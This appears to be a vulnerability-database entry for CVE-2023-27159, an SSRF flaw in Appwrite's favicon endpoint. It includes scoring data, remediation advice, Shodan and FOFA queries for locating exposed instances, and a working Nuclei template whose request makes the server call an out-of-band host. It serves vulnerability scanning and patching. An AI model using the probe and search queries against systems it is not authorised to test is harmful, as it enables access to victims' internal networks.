SecurityContext

CVE-2023-27159: Appwrite <=1.2.1 - Server-Side Request Forgery

Classification

  • Cwe: CWE-918
  • Cvss score: 7.5
  • Cvss vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
  • Epss score: 0.36419
  • Epss percentile: 0.98526
  • Cpe: cpe:2.3:a:appwrite:appwrite:*:*:*:*:*:*:*:*

Metadata

  • Fofa-query: icon_hash=-633108100, title="sign in - appwrite"
  • Google-query: intitle:"sign in - appwrite"
  • Max-request: 1
  • Product: appwrite
  • Shodan-query: title:"Sign In - Appwrite", http.title:"sign in - appwrite", http.favicon.hash:-633108100
  • Vendor: appwrite
  • Verified: yes

Products

ProductIndexedUrl
appwrite:appwriteyes/v1/products/appwrite/appwrite

Labels

  • Name: Appwrite - Server Side Request Forgery
  • Impact: Attackers can access network resources, sensitive data, and perform unauthorized operations on the affected server.
  • Remediation: Update to the latest version of Appwrite that addresses this vulnerability or apply security patches provided by the vendor.
  • Vulnerability type: server_side_request_forgery
  • Vulnerability impact: information_disclosure, data_tampering, denial_of_service
  • Requirement type: none
  • Labels source: projectdiscovery
  • From cve: CVE-2023-27159
  • Not known: requirements

```yaml

id: CVE-2023-27159

info:

name: Appwrite <=1.2.1 - Server-Side Request Forgery

author: DhiyaneshDk

severity: high

description: |

Appwrite through 1.2.1 is susceptible to server-side request forgery via the component /v1/avatars/favicon. An attacker can potentially access network resources and sensitive information via a crafted GET request, thereby also making it possible to modify data and/or execute unauthorized administrative operations in the context of the affected site.

impact: |

This vulnerability can lead to unauthorized access to internal resources, potential data leakage, and further exploitation of the server.

remediation: |

Upgrade Appwrite to a version higher than 1.2.1 to mitigate the SSRF vulnerability.

reference:

- https://gist.github.com/b33t1e/43b26c31e895baf7e7aea2dbf9743a9a

- https://notes.sjtu.edu.cn/gMNlpByZSDiwrl9uZyHTKA

- https://nvd.nist.gov/vuln/detail/CVE-2023-27159

- http://appwrite.com

- https://github.com/appwrite/appwrite

classification:

cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

cvss-score: 7.5

cve-id: CVE-2023-27159

cwe-id: CWE-918

epss-score: 0.36419

epss-percentile: 0.98526

cpe: cpe:2.3:a:appwrite:appwrite:*:*:*:*:*:*:*:*

metadata:

verified: true

max-request: 1

vendor: appwrite

product: appwrite

shodan-query:

- title:"Sign In - Appwrite"

- http.title:"sign in - appwrite"

- http.favicon.hash:-633108100

fofa-query:

- icon_hash=-633108100

- title="sign in - appwrite"

google-query: intitle:"sign in - appwrite"

tags: cve2023,cve,appwrite,ssrf,oast,vkev,vuln

http:

- method: GET

path:

- "{{BaseURL}}/v1/avatars/favicon?url=http://{{interactsh-url}}"

matchers-condition: and

matchers:

- type: word

part: interactsh_protocol

words:

- "http"

- type: word

part: interactsh_request

words:

- "User-Agent: Appwrite-Server"

digest: 490a00463044022048988c9b55965813d796e3985f21901239585ceee34f846eb4bf47c8a432be29022010382af6c0e1e248777b96ddc4fa54e14d67b11e4718836a6f6b940db54dc68f:922c64590222798bb761d5b6d8e72950

```